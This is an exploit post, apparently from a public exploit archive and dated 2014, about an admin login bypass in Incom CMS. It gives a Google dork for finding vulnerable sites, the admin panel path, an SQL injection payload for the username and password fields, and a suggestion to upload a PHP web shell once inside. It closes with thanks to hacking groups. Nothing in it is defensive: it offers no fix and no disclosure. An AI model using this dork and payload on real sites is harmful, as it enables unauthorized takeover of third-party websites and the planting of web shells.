Incom CMS SQL Injection

`# Exploit Title: Incom Cms Admin Bypass Vulnerability  
# Google Dork: intext:"incom cms" . intext:"site by overron" . intitle:"INCOM CMS"  
# Date: 2014-12-29  
# Exploit Author: Xodiak  
# Vendor Homepage: http://facebook.com/xodiakbalckhat  
# Software Link: http://incomcms.com  
# Version: All Version  
# Tested on: Kali , Windows  
# CVE : N/A  
  
Incom Cms Admin Bypass Vulnerability :  
  
http://localhost/incomcms/_cm_admin/  
  
Sometime You Get 403 Error Forbidden But Many Site Have This Vulnerability  
  
After You Go In Admin Page Enter UserName & Password And Username And Password Is :  
  
UserName : '=' 'or'  
Password : '=' 'or'  
  
And You Can Upload Your PHP Shell In Link Menu Without Any Authication  
  
Special Tnx : Net-Hacker , Milad Hacking , MR.B3NY ,Seravo Black Hat , Mahdi.Hidden   
MR.JOKER , MahdiYar , Mr.Cracker , Behrooz_Ice , Virangar , Ang3l--Demon , And All   
Ashiyane Digital Securtiy Team , 2Ostad Members  
`